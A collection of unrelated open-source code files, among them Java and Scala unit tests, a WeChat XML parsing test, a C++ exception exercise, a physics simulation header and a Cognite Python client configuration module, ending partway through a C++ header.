public boolean isClosed() {
return feedDescription.isClosed();
}
/**
* @return Returns related {@link FeedDescription}.
*/
public FeedDescription getFeedDescription() {
return feedDescription;
}
/**
* @return Returns Feed gfycats list.
*/
public List<Gfycat> getGfycats() {
return gfycats;
}
/**
* @return Returns count of gfycats in the list, if there are any, or -1 if gfycats have not been loaded yet.
*/
public int getCount() {
return gfycats == null ? -1 : gfycats.size();
}
@Override
public String toString() {
return "FeedData{" +
"feedDescription=" + feedDescription +
", gfycats=" + (gfycats == null ? "null" : gfycats.size()) +
'}';
}
void dump(String logTag) {
Logging.d(logTag, "feedDescription = ", feedDescription, " size = ", gfycats.size(), " ", hashCode());
for (Gfycat gfycat : gfycats) {
Logging.d(logTag, "gfyId = ", gfycat.getGfyId(), " ", hashCode());
}
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
FeedData feedData = (FeedData) o;
if (!feedDescription.equals(feedData.feedDescription)) return false;
return gfycats != null ? gfycats.equals(feedData.gfycats) : feedData.gfycats == null;
}
@Override
public int hashCode() {
int result = feedDescription.hashCode();
result = 31 * result + (gfycats != null ? gfycats.hashCode() : 0);
return result;
}
}
|
schatten4810/erflute | src/org/dbflute/erflute/editor/controller/command/common/NothingToDoCommand.java | <filename>src/org/dbflute/erflute/editor/controller/command/common/NothingToDoCommand.java
package org.dbflute.erflute.editor.controller.command.common;
import org.dbflute.erflute.editor.controller.command.AbstractCommand;
public class NothingToDoCommand extends AbstractCommand {
public NothingToDoCommand() {
}
@Override
protected void doExecute() {
}
@Override
protected void doUndo() {
}
}
|
uk-gov-mirror/hmrc.ated-subscription-frontend | test/services/ContactDetailsServiceSpec.scala | /*
* Copyright 2021 HM Revenue & Customs
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package services
import connectors.AtedSubscriptionDataCacheConnector
import models.{ContactDetails, ContactDetailsEmail}
import org.mockito.ArgumentMatchers
import org.mockito.Mockito._
import org.scalatest.BeforeAndAfterEach
import org.scalatestplus.mockito.MockitoSugar
import org.scalatestplus.play.PlaySpec
import org.scalatestplus.play.guice.GuiceOneServerPerSuite
import play.api.test.Helpers._
import uk.gov.hmrc.http.HeaderCarrier
import scala.concurrent.ExecutionContext.Implicits.global
import scala.concurrent.Future
class ContactDetailsServiceSpec extends PlaySpec with GuiceOneServerPerSuite with MockitoSugar with BeforeAndAfterEach {
val mockDataCacheConnector: AtedSubscriptionDataCacheConnector = mock[AtedSubscriptionDataCacheConnector]
val testContact = ContactDetails("ABC", "DEF", "1234567890")
val testContactEmail = ContactDetailsEmail(Some(true), "<EMAIL>")
val testContactDetailsService: ContactDetailsService = new ContactDetailsService(mockDataCacheConnector)
override def beforeEach: Unit = {
reset(mockDataCacheConnector)
}
"ContactDetailsService" must {
"saveContactDetails" must {
"save Contact details into keystore" in {
implicit val hc: HeaderCarrier = HeaderCarrier()
when(mockDataCacheConnector.saveContactDetails(ArgumentMatchers.any())(ArgumentMatchers.any(), ArgumentMatchers.any())).thenReturn(Future.successful(Some(testContact)))
val result = testContactDetailsService.saveContactDetails(testContact)
await(result).get.toString must be(testContact.toString)
verify(mockDataCacheConnector, times(1)).saveContactDetails(ArgumentMatchers.any())(ArgumentMatchers.any(), ArgumentMatchers.any())
}
}
"saveContactDetailsEmail" must {
"save Contact details email into keystore" in {
implicit val hc: HeaderCarrier = HeaderCarrier()
when(mockDataCacheConnector.saveContactDetailsEmail(ArgumentMatchers.any())(ArgumentMatchers.any(), ArgumentMatchers.any())).thenReturn(Future.successful(Some(testContactEmail)))
val result = testContactDetailsService.saveContactDetailsEmail(testContactEmail)
await(result).get.toString must be(testContactEmail.toString)
verify(mockDataCacheConnector, times(1)).saveContactDetailsEmail(ArgumentMatchers.any())(ArgumentMatchers.any(), ArgumentMatchers.any())
}
}
"fetchContactDetails" must {
"return contact details, if found in keystore" in {
implicit val hc: HeaderCarrier = HeaderCarrier()
when(mockDataCacheConnector.fetchContactDetailsForSession).thenReturn(Future.successful(Some(testContact)))
val result = testContactDetailsService.fetchContactDetails
await(result) must be(Some(testContact))
verify(mockDataCacheConnector, times(1)).fetchContactDetailsForSession(ArgumentMatchers.any(), ArgumentMatchers.any())
}
"return None, if not found in keystore" in {
implicit val hc: HeaderCarrier = HeaderCarrier()
when(mockDataCacheConnector.fetchContactDetailsForSession).thenReturn(Future.successful(None))
val result = testContactDetailsService.fetchContactDetails
await(result) must be(None)
verify(mockDataCacheConnector, times(1)).fetchContactDetailsForSession(ArgumentMatchers.any(), ArgumentMatchers.any())
}
"return contact details email, if found in keystore" in {
implicit val hc: HeaderCarrier = HeaderCarrier()
when(mockDataCacheConnector.fetchContactDetailsEmailForSession).thenReturn(Future.successful(Some(testContactEmail)))
val result = testContactDetailsService.fetchContactDetailsEmail
await(result) must be(Some(testContactEmail))
verify(mockDataCacheConnector, times(1)).fetchContactDetailsEmailForSession(ArgumentMatchers.any(), ArgumentMatchers.any())
}
"return None, if not found email in keystore" in {
implicit val hc: HeaderCarrier = HeaderCarrier()
when(mockDataCacheConnector.fetchContactDetailsEmailForSession).thenReturn(Future.successful(None))
val result = testContactDetailsService.fetchContactDetailsEmail
await(result) must be(None)
verify(mockDataCacheConnector, times(1)).fetchContactDetailsEmailForSession(ArgumentMatchers.any(), ArgumentMatchers.any())
}
}
}
}
|
yuxijian/WxJava | weixin-java-mp/src/test/java/me/chanjar/weixin/mp/bean/message/WxMpXmlMessageTest.java | <filename>weixin-java-mp/src/test/java/me/chanjar/weixin/mp/bean/message/WxMpXmlMessageTest.java
package me.chanjar.weixin.mp.bean.message;
import me.chanjar.weixin.common.api.WxConsts;
import org.testng.annotations.Test;
import java.util.List;
import java.util.Map;
import static org.assertj.core.api.Assertions.assertThat;
import static org.testng.Assert.assertEquals;
@Test
public class WxMpXmlMessageTest {
public void testFromXml() {
String xml = "<xml>"
+ "<ToUserName><![CDATA[toUser]]></ToUserName>"
+ "<FromUserName><![CDATA[fromUser]]></FromUserName> "
+ "<CreateTime>1348831860</CreateTime>"
+ "<MsgType><![CDATA[text]]></MsgType>"
+ "<Content><![CDATA[this is a test]]></Content>"
+ "<MsgId>1234567890123456</MsgId>"
+ "<PicUrl><![CDATA[this is a url]]></PicUrl>"
+ "<MediaId><![CDATA[media_id]]></MediaId>"
+ "<Format><![CDATA[Format]]></Format>"
+ "<ThumbMediaId><![CDATA[thumb_media_id]]></ThumbMediaId>"
+ "<Location_X>23.134521</Location_X>"
+ "<Location_Y>113.358803</Location_Y>"
+ "<Scale>20</Scale>"
+ "<Label><![CDATA[位置信息]]></Label>"
+ "<Description><![CDATA[公众平台官网链接]]></Description>"
+ "<Url><![CDATA[url]]></Url>"
+ "<Title><![CDATA[公众平台官网链接]]></Title>"
+ "<Event><![CDATA[subscribe]]></Event>"
+ "<EventKey><![CDATA[qrscene_123123]]></EventKey>"
+ "<Ticket><![CDATA[TICKET]]></Ticket>"
+ "<Latitude>23.137466</Latitude>"
+ "<Longitude>113.352425</Longitude>"
+ "<Precision>119.385040</Precision>"
+ "<ScanCodeInfo>"
+ " <ScanType><![CDATA[qrcode]]></ScanType>"
+ " <ScanResult><![CDATA[1]]></ScanResult>"
+ "</ScanCodeInfo>"
+ "<SendPicsInfo>"
+ " <Count>1</Count>"
+ " <PicList>"
+ " <item>"
+ " <PicMd5Sum><![CDATA[1b5f7c23b5bf75682a53e7b6d163e185]]></PicMd5Sum>"
+ " </item>"
+ " </PicList>"
+ "</SendPicsInfo>"
+ "<SendLocationInfo>"
+ " <Location_X><![CDATA[23]]></Location_X>"
+ " <Location_Y><![CDATA[113]]></Location_Y>"
+ " <Scale><![CDATA[15]]></Scale>"
+ " <Label><![CDATA[ 广州市海珠区客村艺苑路 106号]]></Label>"
+ " <Poiname><![CDATA[wo de poi]]></Poiname>"
+ "</SendLocationInfo>"
+ "<KeyStandard><![CDATA[ean13]]></KeyStandard>"
+ "<KeyStr><![CDATA[6901481811083]]></KeyStr>"
+ "<Country><![CDATA[中国]]></Country>"
+ "<Province><![CDATA[广东]]></Province>"
+ "<City><![CDATA[揭阳]]></City>"
+ "<Sex>1</Sex>"
+ "<Scene>2</Scene>"
+ "<ExtInfo><![CDATA[123]]></ExtInfo>"
+ "<RegionCode><![CDATA[440105]]></RegionCode>"
+ "<ReasonMsg><![CDATA[]]></ReasonMsg>"
+ "</xml>";
WxMpXmlMessage wxMessage = WxMpXmlMessage.fromXml(xml);
assertEquals(wxMessage.getToUser(), "toUser");
assertEquals(wxMessage.getFromUser(), "fromUser");
assertEquals(wxMessage.getCreateTime(), new Long(1348831860L));
assertEquals(wxMessage.getMsgType(), WxConsts.XmlMsgType.TEXT);
assertEquals(wxMessage.getContent(), "this is a test");
assertEquals(wxMessage.getMsgId(), new Long(1234567890123456L));
assertEquals(wxMessage.getPicUrl(), "this is a url");
assertEquals(wxMessage.getMediaId(), "media_id");
assertEquals(wxMessage.getFormat(), "Format");
assertEquals(wxMessage.getThumbMediaId(), "thumb_media_id");
assertEquals(wxMessage.getLocationX(), 23.134521d);
assertEquals(wxMessage.getLocationY(), 113.358803d);
assertEquals(wxMessage.getScale(), 20d);
assertEquals(wxMessage.getLabel(), "位置信息");
assertEquals(wxMessage.getDescription(), "公众平台官网链接");
assertEquals(wxMessage.getUrl(), "url");
assertEquals(wxMessage.getTitle(), "公众平台官网链接");
assertEquals(wxMessage.getEvent(), "subscribe");
assertEquals(wxMessage.getEventKey(), "qrscene_123123");
assertEquals(wxMessage.getTicket(), "TICKET");
assertEquals(wxMessage.getLatitude(), 23.137466);
assertEquals(wxMessage.getLongitude(), 113.352425);
assertEquals(wxMessage.getPrecision(), 119.385040);
assertEquals(wxMessage.getScanCodeInfo().getScanType(), "qrcode");
assertEquals(wxMessage.getScanCodeInfo().getScanResult(), "1");
assertEquals(wxMessage.getSendPicsInfo().getCount(), new Long(1L));
assertEquals(wxMessage.getSendPicsInfo().getPicList().get(0).getPicMd5Sum(), "1b5f7c23b5bf75682a53e7b6d163e185");
assertEquals(wxMessage.getSendLocationInfo().getLocationX(), "23");
assertEquals(wxMessage.getSendLocationInfo().getLocationY(), "113");
assertEquals(wxMessage.getSendLocationInfo().getScale(), "15");
assertEquals(wxMessage.getSendLocationInfo().getLabel(), " 广州市海珠区客村艺苑路 106号");
assertEquals(wxMessage.getSendLocationInfo().getPoiName(), "wo de poi");
assertEquals(wxMessage.getKeyStandard(), "ean13");
assertEquals(wxMessage.getKeyStr(), "6901481811083");
assertEquals(wxMessage.getCountry(), "中国");
assertEquals(wxMessage.getProvince(), "广东");
assertEquals(wxMessage.getCity(), "揭阳");
assertEquals(wxMessage.getSex(), "1");
assertEquals(wxMessage.getScene(), "2");
assertEquals(wxMessage.getExtInfo(), "123");
assertEquals(wxMessage.getRegionCode(), "440105");
assertEquals(wxMessage.getReasonMsg(), "");
}
public void testFromXml2() {
String xml = "<xml>"
+ "<ToUserName><![CDATA[toUser]]></ToUserName>"
+ "<FromUserName><![CDATA[fromUser]]></FromUserName> "
+ "<CreateTime>1348831860</CreateTime>"
+ "<MsgType><![CDATA[text]]></MsgType>"
+ "<Content><![CDATA[this is a test]]></Content>"
+ "<MsgID>1234567890123456</MsgID>"
+ "<PicUrl><![CDATA[this is a url]]></PicUrl>"
+ "<MediaId><![CDATA[media_id]]></MediaId>"
+ "<Format><![CDATA[Format]]></Format>"
+ "<ThumbMediaId><![CDATA[thumb_media_id]]></ThumbMediaId>"
+ "<Location_X>23.134521</Location_X>"
+ "<Location_Y>113.358803</Location_Y>"
+ "<Scale>20</Scale>"
+ "<Label><![CDATA[位置信息]]></Label>"
+ "<Description><![CDATA[公众平台官网链接]]></Description>"
+ "<Url><![CDATA[url]]></Url>"
+ "<Title><![CDATA[公众平台官网链接]]></Title>"
+ "<Event><![CDATA[subscribe]]></Event>"
+ "<EventKey><![CDATA[qrscene_123123]]></EventKey>"
+ "<Ticket><![CDATA[TICKET]]></Ticket>"
+ "<Latitude>23.137466</Latitude>"
+ "<Longitude>113.352425</Longitude>"
+ "<Precision>119.385040</Precision>"
+ "<ScanCodeInfo>"
+ " <ScanType><![CDATA[qrcode]]></ScanType>"
+ " <ScanResult><![CDATA[1]]></ScanResult>"
+ "</ScanCodeInfo>"
+ "<SendPicsInfo>"
+ " <Count>1</Count>\n"
+ " <PicList>"
+ " <item>"
+ " <PicMd5Sum><![CDATA[1b5f7c23b5bf75682a53e7b6d163e185]]></PicMd5Sum>"
+ " </item>"
+ " </PicList>"
+ "</SendPicsInfo>"
+ "<SendLocationInfo>"
+ " <Location_X><![CDATA[23]]></Location_X>\n"
+ " <Location_Y><![CDATA[113]]></Location_Y>\n"
+ " <Scale><![CDATA[15]]></Scale>\n"
+ " <Label><![CDATA[ 广州市海珠区客村艺苑路 106号]]></Label>\n"
+ " <Poiname><![CDATA[wo de poi]]></Poiname>\n"
+ "</SendLocationInfo>"
+ "</xml>";
WxMpXmlMessage wxMessage = WxMpXmlMessage.fromXml(xml);
assertEquals(wxMessage.getToUser(), "toUser");
assertEquals(wxMessage.getFromUser(), "fromUser");
assertEquals(wxMessage.getCreateTime(), new Long(1348831860L));
assertEquals(wxMessage.getMsgType(), WxConsts.XmlMsgType.TEXT);
assertEquals(wxMessage.getContent(), "this is a test");
assertEquals(wxMessage.getMsgId(), new Long(1234567890123456L));
assertEquals(wxMessage.getPicUrl(), "this is a url");
assertEquals(wxMessage.getMediaId(), "media_id");
assertEquals(wxMessage.getFormat(), "Format");
assertEquals(wxMessage.getThumbMediaId(), "thumb_media_id");
assertEquals(wxMessage.getLocationX(), 23.134521d);
assertEquals(wxMessage.getLocationY(), 113.358803d);
assertEquals(wxMessage.getScale(), 20d);
assertEquals(wxMessage.getLabel(), "位置信息");
assertEquals(wxMessage.getDescription(), "公众平台官网链接");
assertEquals(wxMessage.getUrl(), "url");
assertEquals(wxMessage.getTitle(), "公众平台官网链接");
assertEquals(wxMessage.getEvent(), "subscribe");
assertEquals(wxMessage.getEventKey(), "qrscene_123123");
assertEquals(wxMessage.getTicket(), "TICKET");
assertEquals(wxMessage.getLatitude(), 23.137466);
assertEquals(wxMessage.getLongitude(), 113.352425);
assertEquals(wxMessage.getPrecision(), 119.385040);
assertEquals(wxMessage.getScanCodeInfo().getScanType(), "qrcode");
assertEquals(wxMessage.getScanCodeInfo().getScanResult(), "1");
assertEquals(wxMessage.getSendPicsInfo().getCount(), new Long(1L));
assertEquals(wxMessage.getSendPicsInfo().getPicList().get(0).getPicMd5Sum(), "1b5f7c23b5bf75682a53e7b6d163e185");
assertEquals(wxMessage.getSendLocationInfo().getLocationX(), "23");
assertEquals(wxMessage.getSendLocationInfo().getLocationY(), "113");
assertEquals(wxMessage.getSendLocationInfo().getScale(), "15");
assertEquals(wxMessage.getSendLocationInfo().getLabel(), " 广州市海珠区客村艺苑路 106号");
assertEquals(wxMessage.getSendLocationInfo().getPoiName(), "wo de poi");
}
public void testFromXml_MASSSENDJOBFINISH() {
//xml样例来自 https://mp.weixin.qq.com/wiki?t=resource/res_main&id=mp1481187827_i0l21
String xml = "<xml>\n" +
"<ToUserName><![CDATA[gh_4d00ed8d6399]]></ToUserName>\n" +
"<FromUserName><![CDATA[oV5CrjpxgaGXNHIQigzNlgLTnwic]]></FromUserName>\n" +
"<CreateTime>1481013459</CreateTime>\n" +
"<MsgType><![CDATA[event]]></MsgType>\n" +
"<Event><![CDATA[MASSSENDJOBFINISH]]></Event>\n" +
"<MsgID>1000001625</MsgID>\n" +
"<Status><![CDATA[err(30003)]]></Status>\n" +
"<TotalCount>0</TotalCount>\n" +
"<FilterCount>0</FilterCount>\n" +
"<SentCount>0</SentCount>\n" +
"<ErrorCount>0</ErrorCount>\n" +
"<CopyrightCheckResult>\n" +
"<Count>2</Count>\n" +
"<ResultList>\n" +
"<item>\n" +
"<ArticleIdx>1</ArticleIdx>\n" +
"<UserDeclareState>0</UserDeclareState>\n" +
"<AuditState>2</AuditState>\n" +
"<OriginalArticleUrl><![CDATA[Url_1]]></OriginalArticleUrl>\n" +
"<OriginalArticleType>1</OriginalArticleType>\n" +
"<CanReprint>1</CanReprint>\n" +
"<NeedReplaceContent>1</NeedReplaceContent>\n" +
"<NeedShowReprintSource>1</NeedShowReprintSource>\n" +
"</item>\n" +
"<item>\n" +
"<ArticleIdx>2</ArticleIdx>\n" +
"<UserDeclareState>0</UserDeclareState>\n" +
"<AuditState>2</AuditState>\n" +
"<OriginalArticleUrl><![CDATA[Url_2]]></OriginalArticleUrl>\n" +
"<OriginalArticleType>1</OriginalArticleType>\n" +
"<CanReprint>1</CanReprint>\n" +
"<NeedReplaceContent>1</NeedReplaceContent>\n" +
"<NeedShowReprintSource>1</NeedShowReprintSource>\n" +
"</item>\n" +
"</ResultList>\n" +
"<CheckState>2</CheckState>\n" +
"</CopyrightCheckResult>\n" +
"</xml>";
WxMpXmlMessage wxMessage = WxMpXmlMessage.fromXml(xml);
assertEquals(wxMessage.getToUser(), "gh_4d00ed8d6399");
assertEquals(wxMessage.getFromUser(), "oV5CrjpxgaGXNHIQigzNlgLTnwic");
assertEquals(wxMessage.getCreateTime(), new Long(1481013459));
assertEquals(wxMessage.getMsgType(), WxConsts.XmlMsgType.EVENT);
assertEquals(wxMessage.getEvent(), "MASSSENDJOBFINISH");
assertEquals(wxMessage.getMsgId(), new Long(1000001625L));
assertEquals(wxMessage.getStatus(), "err(30003)");
assertEquals(wxMessage.getTotalCount(), new Integer(0));
assertEquals(wxMessage.getFilterCount(), new Integer(0));
assertEquals(wxMessage.getSentCount(), new Integer(0));
assertEquals(wxMessage.getErrorCount(), new Integer(0));
final Map<String, Object> allFields = wxMessage.getAllFieldsMap();
assertThat(allFields).isNotNull();
final Map<String, Object> copyrightCheckResult = (Map<String, Object>) allFields.get("CopyrightCheckResult");
List<Map<String, Object>> resultList = (List<Map<String, Object>>) ((Map<String, Object>) copyrightCheckResult
.get("ResultList")).get("item");
assertThat(copyrightCheckResult).isNotNull();
assertThat(copyrightCheckResult.get("Count")).isEqualTo("2");
assertThat(copyrightCheckResult.get("CheckState")).isEqualTo("2");
assertThat(resultList.get(0).get("ArticleIdx")).isEqualTo("1");
assertThat(resultList.get(0).get("UserDeclareState")).isEqualTo("0");
assertThat(resultList.get(0).get("AuditState")).isEqualTo("2");
assertThat(resultList.get(0).get("OriginalArticleUrl")).isEqualTo("Url_1");
assertThat(resultList.get(0).get("OriginalArticleType")).isEqualTo("1");
assertThat(resultList.get(0).get("CanReprint")).isEqualTo("1");
assertThat(resultList.get(0).get("NeedReplaceContent")).isEqualTo("1");
assertThat(resultList.get(0).get("NeedShowReprintSource")).isEqualTo("1");
assertThat(resultList.get(1).get("ArticleIdx")).isEqualTo("2");
assertThat(resultList.get(1).get("UserDeclareState")).isEqualTo("0");
assertThat(resultList.get(1).get("AuditState")).isEqualTo("2");
assertThat(resultList.get(1).get("OriginalArticleUrl")).isEqualTo("Url_2");
assertThat(resultList.get(1).get("OriginalArticleType")).isEqualTo("1");
assertThat(resultList.get(1).get("CanReprint")).isEqualTo("1");
assertThat(resultList.get(1).get("NeedReplaceContent")).isEqualTo("1");
assertThat(resultList.get(1).get("NeedShowReprintSource")).isEqualTo("1");
}
}
|
egovernment/eregistrations-starter | node_modules/dbjs-ext/string/string-line/password.js | 'use strict';
var memoize = require('memoizee/plain')
, defineStringLine = require('../string-line');
module.exports = memoize(function (db) {
return defineStringLine(db).extend('Password', { pattern: { value:
new RegExp('^[\\u0009 -\\u2027\\u2030-\\uffff]*(?=[\\u0009 -\\u2027' +
'\\u2030-\\uffff]*\\d)(?=[\\u0009 -\\u2027\\u2030-\\uffff]*[a-zA-Z])' +
'[\\u0009 -\\u2027\\u2030-\\uffff]*$') }, min: { value: 5 } });
}, { normalizer: require('memoizee/normalizers/get-1')() });
|
tuvshinot/Cpp | errorHandle/MPGFunctionExceptionInheritance/main.cpp | <gh_stars>0
// Section 18
// Miles per Gallon - Function - Exception Classes - Inheritance
#include <iostream>
class DivideByZeroException : public std::runtime_error {
public:
DivideByZeroException() : std::runtime_error {"Cannot divide by zero"}
{}
};
class NegativeValueException : public std::runtime_error {
public:
NegativeValueException() : std::runtime_error {"one of your parameters is negative"}
{}
};
double calculate_mpg(int miles, int gallons) {
if (gallons == 0)
throw DivideByZeroException();
else if (miles < 0 || gallons < 0)
throw NegativeValueException();
return static_cast<double>(miles) / gallons;
}
int main() {
int miles {};
int gallons {};
double miles_per_gallon {};
std::cout << "Enter the miles: ";
std::cin >> miles;
std::cout << "Enter the gallons: ";
std::cin >> gallons;
try {
miles_per_gallon = calculate_mpg(miles, gallons);
std::cout << "Result: " << miles_per_gallon << std::endl;
} catch (const DivideByZeroException &ex) {
std::cerr << ex.what() << std::endl;
} catch (const NegativeValueException &ex) {
std::cerr << ex.what() << std::endl;
}
std::cout << "Bye" << std::endl;
return 0;
}
|
fossabot/xtp | include/votca/xtp/gnode.h | <filename>include/votca/xtp/gnode.h
/*
* Copyright 2009-2020 The VOTCA Development Team (http://www.votca.org)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#pragma once
#ifndef VOTCA_XTP_GNODE_H
#define VOTCA_XTP_GNODE_H
// Local VOTCA includes
#include "glink.h"
#include "huffmantree.h"
#include "qmpair.h"
#include "segment.h"
namespace votca {
namespace xtp {
class GNode {
public:
GNode(const Segment& seg, QMStateType carriertype, bool injectable)
: _id(seg.getId()),
_siteenergy(seg.getSiteEnergy(carriertype)),
_position(seg.getPos()),
_injectable(injectable){};
bool isOccupied() const { return _occupied; }
void setOccupation(bool occupied) { _occupied = occupied; }
bool isInjectable() const { return _injectable; }
bool canDecay() const { return _hasdecay; }
const Eigen::Vector3d& getPos() const { return _position; }
Index getId() const { return _id; }
void UpdateOccupationTime(double deltat) { _occupationtime += deltat; }
const std::vector<GLink>& Events() const { return _events; }
double OccupationTime() const { return _occupationtime; }
double getEscapeRate() const { return _escape_rate; }
void InitEscapeRate();
void AddDecayEvent(double decayrate);
void AddEventfromQmPair(const QMPair& pair, std::vector<GNode>& nodes,
double rate);
double getSitenergy() const { return _siteenergy; }
GLink* findHoppingDestination(double p) const;
void MakeHuffTree();
void AddEvent(GNode* seg2, const Eigen::Vector3d& dr, double rate);
private:
Index _id = 0;
bool _occupied = false;
double _occupationtime = 0.0;
double _escape_rate = 0.0;
bool _hasdecay = false;
double _siteenergy;
Eigen::Vector3d _position;
bool _injectable = true;
std::vector<GLink> _events;
huffmanTree<GLink> hTree;
void organizeProbabilities(Index id, double add);
void moveProbabilities(Index id);
};
} // namespace xtp
} // namespace votca
#endif // VOTCA_XTP_GNODE_H
|
sakshi87/cognite-sdk-python | cognite/client/utils/_client_config.py | <gh_stars>0
import os
import pprint
import sys
from typing import *
from cognite.client import utils
from cognite.client._version import __api_subversion__
from cognite.client.exceptions import CogniteAPIKeyError
_DEFAULT_API_SUBVERSION = __api_subversion__
class _ThreadLocalConfig:
def __init__(self):
self.api_key = None
self.project = None
if "cognite._thread_local" in sys.modules:
from cognite._thread_local import credentials
thread_local_api_key = getattr(credentials, "api_key", None)
thread_local_project = getattr(credentials, "project", None)
self.api_key = thread_local_api_key
self.project = thread_local_project
class _DefaultConfig:
def __init__(self):
thread_local = _ThreadLocalConfig()
# Per client
self.api_key = thread_local.api_key or os.getenv("COGNITE_API_KEY")
self.api_subversion = os.getenv("COGNITE_API_VERSION") or _DEFAULT_API_SUBVERSION
self.project = thread_local.project or os.getenv("COGNITE_PROJECT")
self.client_name = os.getenv("COGNITE_CLIENT_NAME")
self.base_url = os.getenv("COGNITE_BASE_URL", "https://api.cognitedata.com")
self.max_workers = int(os.getenv("COGNITE_MAX_WORKERS", 10))
self.headers = {}
self.timeout = int(os.getenv("COGNITE_TIMEOUT", 30))
self.file_transfer_timeout = int(os.getenv("COGNITE_FILE_TRANSFER_TIMEOUT", 600))
self.token_client_id = os.getenv("COGNITE_CLIENT_ID")
self.token_client_secret = os.getenv("COGNITE_CLIENT_SECRET")
self.token_url = os.getenv("COGNITE_TOKEN_URL")
self.token_scopes = os.getenv("COGNITE_TOKEN_SCOPES", "").split(",")
self.token_custom_args = {}
# Global
self.disable_gzip = os.getenv("COGNITE_DISABLE_GZIP", False)
self.disable_pypi_version_check = os.getenv("COGNITE_DISABLE_PYPI_VERSION_CHECK", False)
self.status_forcelist = self._get_status_forcelist()
self.max_retries = int(os.getenv("COGNITE_MAX_RETRIES", 10))
self.max_retry_backoff = int(os.getenv("COGNITE_MAX_RETRY_BACKOFF", 30))
self.max_connection_pool_size = int(os.getenv("COGNITE_MAX_CONNECTION_POOL_SIZE", 50))
self.disable_ssl = os.getenv("COGNITE_DISABLE_SSL", False)
@staticmethod
def _get_status_forcelist():
env_forcelist = os.getenv("COGNITE_STATUS_FORCELIST")
if env_forcelist is None:
return [429, 502, 503, 504]
return [int(c) for c in env_forcelist.split(",")]
class ClientConfig(_DefaultConfig):
def __init__(
self,
api_key: Optional[str] = None,
api_subversion: Optional[str] = None,
project: Optional[str] = None,
client_name: Optional[str] = None,
base_url: Optional[str] = None,
max_workers: Optional[int] = None,
headers: Optional[Dict[str, str]] = None,
timeout: Optional[int] = None,
file_transfer_timeout: Optional[int] = None,
proxies: Optional[Dict[str, str]] = None,
token: Optional[Union[Callable[[], str], str]] = None,
token_url: Optional[str] = None,
token_client_id: Optional[str] = None,
token_client_secret: Optional[str] = None,
token_scopes: Optional[List[str]] = None,
token_custom_args: Optional[Dict[str, str]] = None,
disable_pypi_version_check: Optional[bool] = None,
debug: bool = False,
):
super().__init__()
self.api_key = api_key or self.api_key
self.project = project or self.project
self.client_name = client_name or self.client_name
self.base_url = (base_url or self.base_url).rstrip("/")
self.max_workers = max_workers or self.max_workers
self.headers = headers or self.headers
self.timeout = timeout or self.timeout
self.file_transfer_timeout = file_transfer_timeout or self.file_transfer_timeout
self.token = token
self.proxies = proxies
self.token_url = token_url or self.token_url
self.token_client_id = token_client_id or self.token_client_id
self.token_client_secret = token_client_secret or self.token_client_secret
self.token_scopes = token_scopes or self.token_scopes
self.token_custom_args = token_custom_args or self.token_custom_args
self.api_subversion = api_subversion or self.api_subversion
self.disable_pypi_version_check = (
disable_pypi_version_check if disable_pypi_version_check is not None else self.disable_pypi_version_check
)
if self.api_key is None and self.token is None:
self.token_custom_args.setdefault("verify", not self.disable_ssl)
# If no api_key or token is present; try setting up a token generator
token_generator = utils._token_generator.TokenGenerator(
self.token_url,
self.token_client_id,
self.token_client_secret,
self.token_scopes,
self.token_custom_args,
)
if token_generator.token_params_set():
self.token = lambda: token_generator.return_access_token()
if self.token is None:
raise CogniteAPIKeyError("No API key or token or token generation arguments have been specified")
if self.client_name is None:
raise ValueError(
"No client name has been specified. Pass it to the CogniteClient or set the environment variable "
"'COGNITE_CLIENT_NAME'."
)
if debug:
utils._logging._configure_logger_for_debug_mode()
if not self.disable_pypi_version_check:
try:
utils._auxiliary._check_client_has_newest_major_version()
except Exception:
# PyPI is for some reason not reachable, skip version check
pass
def __str__(self):
return pprint.pformat(self.__dict__, indent=4)
def _repr_html_(self):
return self.__str__()
|
fkmt-disk/scala.sqlib | test/scala/test/entity/M_Address.scala | <filename>test/scala/test/entity/M_Address.scala
package test.entity
/**
* M_Address.
*
* @since 2013-03-17 19:29:31
*/
object M_Address extends sqlib.core.Table {
type T = M_Address.Row
import java.sql.Types._
import sqlib.core._
import column._
private[this] val _row_id = new IntColumn[T]("row_id", 1, INTEGER)
private[this] val _zip_code = new TextColumn[T]("zip_code", 2, CHAR)
private[this] val _state = new TextColumn[T]("state", 3, VARCHAR)
private[this] val _city = new TextColumn[T]("city", 4, VARCHAR)
private[this] val _town = new TextColumn[T]("town", 5, VARCHAR)
private[this] val _modify_at = new DateColumn[T]("modify_at", 6, TIMESTAMP)
def row_id = _row_id
def row_id_= (x: java.lang.Integer): SetClause[T] = set(_row_id, x)
def zip_code = _zip_code
def zip_code_= (x: java.lang.String): SetClause[T] = set(_zip_code, x)
def state = _state
def state_= (x: java.lang.String): SetClause[T] = set(_state, x)
def city = _city
def city_= (x: java.lang.String): SetClause[T] = set(_city, x)
def town = _town
def town_= (x: java.lang.String): SetClause[T] = set(_town, x)
def modify_at = _modify_at
def modify_at_= (x: java.util.Date): SetClause[T] = set(_modify_at, x)
@EntityInfo(name="m_address")
case class Row(
row_id: java.lang.Integer,
zip_code: java.lang.String,
state: java.lang.String,
city: java.lang.String,
town: java.lang.String,
modify_at: java.util.Date
)
}
|
ZLW07/RobWork | RobWorkSim/example/bootstrap/src/bstrap/core/Abstraction.hpp | <filename>RobWorkSim/example/bootstrap/src/bstrap/core/Abstraction.hpp
#ifndef ABSTRACTION_HPP_
#define ABSTRACTION_HPP_
#include <rw/core/Ptr.hpp>
class BrainState;
class Memory;
/**
* @brief something that computes abstract knowledge and puts this into the state
*/
class Abstraction {
public:
typedef rw::core::Ptr<Abstraction> Ptr;
/**
* @brief updates currentstate based on mem and whatever abstract knowledge this
* class may derive from currentState and/or mem
* @param currentState [in/out]
* @param mem [in]
*/
